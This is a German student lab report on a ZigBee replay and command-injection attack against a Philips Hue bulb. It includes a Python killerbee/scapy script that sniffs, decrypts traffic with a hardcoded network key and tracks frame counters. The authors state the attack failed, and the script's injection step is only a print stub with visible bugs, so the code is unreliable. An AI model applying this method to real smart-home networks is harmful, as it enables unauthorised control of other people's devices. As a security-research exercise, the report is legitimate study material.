ZIGBEE

Vertiefendes Wahlfach-PR WS 2018/19

Daniel Tod, Luca Strobl
Betreuung durch Silvia Schmidt, MSc BSc

Inhaltsverzeichnis

1 Allgemein

1.1 Zielsetzung

Im Wahlfachprojekt „ZigBee“ wurde der Network Key eines ZigBee-Netzwerks erfolgreich extrahiert. Somit war es möglich, die einzelnen Befehle mitzuschneiden. Der nächste Schritt und gleichzeitig Ziel dieses vertiefenden Wahlfachprojekts ist daher, die Befehle an ein bestimmtes Gerät im Netzwerk zu senden (Replay-Attacke).

1.2 Versuchsaufbau

Die Testumgebung setzt sich aus folgenden Bestandteilen zusammen:

- Raspberry Pi mit RaspBee Modul von dresden elektronik
- Atmel RZ Raven USB-Stick mit killerbee Firmware
- Kali Linux Maschine mit killerbee und scapy
- Philips Hue Glühbirne

Wie bereits in der Dokumentation des Wahlfachprojekts „ZigBee“ ausführlich beschrieben, dient der Raspberry Pi mit dem Modul zur Steuerung der Philips Hue Glühbirne. Der Atmel RZ Raven USB-Stick operiert im 2.4 GHz Frequenzbereich und unterstützt IEEE 802.15.4. Auf den Stick wurde die killerbee Firmware geladen. Als Host wurde Kali Linux verwendet, auf dem killerbee und scapy installiert wurde. Für weitere Informationen sowie Installationsanleitungen sei auf die ausführliche Dokumentation verwiesen.

2 Vorgangsweise

Im ersten Schritt wird eine simple Replay-Attacke mittels `zbdump` und `zbreplay` durchgeführt. Mit `zbdump` wird eine pcap-Datei erstellt, welche alle aufgezeichneten Pakete beinhält. Während der Aufzeichnung wurde ein „On“ und ein „Off“ Kommando an eine Philips Hue Glühbirne gesendet. Die pcap-Datei wird mittels Wireshark analysiert. Dabei müssen allerdings zuvor der Default Trust Center Link Key und der Network Key in Wireshark eingetragen werden. Dieser Vorgang wird ausführlich in der Dokumentation des Wahlfachprojekts beschrieben.
Nach dem Entschlüsseln der Kommandos durch Wireshark wird die pcap-Datei mit `zbreplay` gesendet. Die Replay-Attacke funktioniert jedoch aufgrund diverser Counter in den einzelnen Layern nicht:

Counter [#]	*Layer*	*Größe [Byte]*
1	IEEE 802.4.15	1

```
2 ZigBee Network Layer      1
3 ZigBee Security Header    4
4 ZigBee Application Layer  1 (enc)
5 ZigBee Cluster Layer      1 (enc)
```

Da alle diese Counter abgefragt werden, wird die einfache Replay-Attacke abgewehrt.

Um diesen Abwehrmechanismus zu umgehen, zeichnen wir die Counter laufend auf. Um einen Befehl zu injiziieren, soll ein Paket mit den aktuellen Countern erstellt und gesendet werden. Dazu wurde ein Python-Skript geschrieben.
Es treten jedoch zwei Probleme auf: Erstens haben manche der aufgezeichneten Pakete falsche Counter beziehungsweise werden manche Pakete erst gar nicht aufgezeichnet. Das liegt eventuell an den begrenzten Hardware-Kapazitäten des Atmel RZ Raven USB-Sticks. Zweitens werden die richtig eingelesenen Daten falsch interpretiert. Wir haben herausgefunden, dass der Fehler zwei Byte beträgt. Dadurch stimmen die Frame-Check-Sequence sowie der Message Integrity Code, der sich nach den verschlüsselten Applikationsdaten befindet, nicht mehr. Dieser MIC wird in der Funktion `kbdecrypt` überprüft. Aufgrund des falschen Ergebnisses wird in dem Paket kein Application Layer generiert und es ist nicht möglich die einzelnen Felder richtig auszulesen. Diese Felder werden allerdings beim Zusammenbau des neuen Paketes benötigt.

Eine Alternative zum Atmel RZ Raven USB-Stick ist ein Software Defined Radio. Die Treiber von scapy wurden aber ausschließlich für Ettus geschrieben. Dieses SDR steht uns jedoch nicht zur Verfügung.

3 Source Code

Das Skript wurde in Python geschrieben. Hierbei wurde die scapy_extension verwendet. Das Programm ist in zwei Teile aufgeteilt: der erste Teil hat die Aufgabe, die Pakete laufend mitzuschneiden und die aktuellen Counter in Variablen abzuspeichern. Dieser Teil wurde als eigenständiger Thread realisiert.
Im zweiten Teil, in der main-Schleife, werden Befehle vom Terminal eingelesen. Wird ein on/off Befehl eingelesen, soll ein neues Paket erstellt werden, welches die aktuellen Counter beinhält.

```
1.  #!/usr/bin/env python
2.
3.
4.  from killerbee import scapy_extensions
5.  from scapy.all import *
6.  import scapy.layers.zigbee
7.  import threading
8.
9.  active_networkkey = '000008fc084040d024d824f4b4ac24d8'.decode("hex")
10.
11. ZCL_sequenceNumber = 0
12. ZASLD_counter = 0
13. ZNLD_sequenceNumber = 0
14. IEEE_802_15_4_sequenceNumber = 0
15.
16.
17. class listen_sequenceNumber(threading.Thread):
18.     def __init__(self, sleep_interval=1):
19.         super(listen_sequenceNumber,self).__init__()
20.         self._kill = threading.Event()
21.         self._interval = sleep_interval
22.
23.     def run(self):
24.         while True:
25.             packet_raw = scapy_extensions.kbsniff(15, 0, 1, None, 1, None, None, Non
    e, None, 10)
26.             if len(packet_raw) > 0:
27.             try:
28.                 packet = packet_raw[0]
29.
30.                 if packet.haslayer(ZigbeeNWK):
31.                     print "ZigbeeNWK Packet"
32.                     IEEE_802_15_4_sequenceNumber = copy.deepcopy(packet.getlayer(Zig
    beeNWK).seqnum)
33.                     print"nwk_seqnumber:" + str(IEEE_802_15_4_sequenceNumber) + "\n"

34.
35.
36.                 if packet.haslayer(ZigbeeSecurityHeader):
37.                     print "Packet with ZigbeeSecurityHeader"
38.                     ZNLD_sequenceNumber = copy.deepcopy(packet.getlayer(ZigbeeSecuri
    tyHeader).fc)
39.                     print "frame_counter: " + str(ZNLD_sequenceNumber)
40.                     if str(packet.getlayer(ZigbeeSecurityHeader).source) is not 'Non
    e':
41.                         dec_payload = scapy_extensions.kbdecrypt(packet, active_netw
    orkkey)
42.                         print "Packet decrypted"
43.                         zigbeeAppDataPayload = dec_payload.getlayer(ZigbeeAppDataPay
    load)
44.                         ''.join( [ "%02X " % ord( x ) for x in dec_payload.load ] ).
    strip()
45.
46.                         #check for Frame Control Field Zigbee Application Support La
    yer Data
47.                         if ord(dec_payload.load[0]) == 0x0C:
48.                             first_Byte=ord(dec_payload.load[0])
49.                             print 'ord(dec_payload.load[0]) ' + str(first_Byte)
50.
51.                             #check Gruppe auf 0x0005
52.                             if (ord(dec_payload.load[1]) == 0x05 and ord(dec_payload
    .load[2]) == 0x0):
53.                                 print 'Gruppe ist 0x0005'
54.
55.                                 #check Klaster Klaster ist 0x0006
56.                                 if (ord(dec_payload.load[3]) == 0x06 and ord(dec_pay
    load.load[4]) == 0x0):
```

```
57.
58.                                     #Home Automation Profil
59.                                     if (ord(dec_payload.load[5]) == 0x04 and ord(dec
    _payload.load[6]) == 0x01):
60.                                         print 'Ist HA Profil'
61.                                         ZASLD_counter = ord(dec_payload.load[8])
62.                                         ZCL_sequenceNumber = ord(dec_payload.load[10
    ])
63.                                         if ord(dec_payload.load[11]) == 0x01:
64.                                             print 'Komando on'
65.                                         elif ord(dec_payload.load[11]) == 0x00:
66.                                             print 'Komando off'
67.                 print"\n"
68.             except Exception as e:
69.                 print("Error: " + str(e))
70.             is_killed = self._kill.wait(self._interval)
71.             if is_killed:
72.                 break
73.                 print("Killing Thread")
74.
75.     def kill(self):
76.         self._kill.set()
77.
78.
79. t = listen_sequenceNumber(sleep_interval=0)
80. t.start()
81.
82. while 1:
83.     text = raw_input("cmd: ")
84.     if text == "exit":
85.         print 'Programm wird beendet'
86.         t.kill()
87.         sys.exit(0)
88.
89.     elif text == "on":
90.         print 'generate Packet --
    > IEEE802.15.4 sequence ' + IEEE_802_15_4_sequenceNumber + ' NWK sequence: ' + ZNLD_
    sequenceNumber + ' APS counter: ' + ZASLD_counter + ' Cluster sequence: ' + ZCL_sequ
    enceNumber
91.
92.     elif text == "off":
93.         print 'generate Packet --
    > IEEE802.15.4 sequence ' + IEEE_802_15_4_sequenceNumber + ' NWK sequence: ' + ZNLD_
    sequenceNumber + ' APS counter: ' + ZASLD_counter + ' Cluster sequence: ' + ZCL_sequ
    enceNumber
```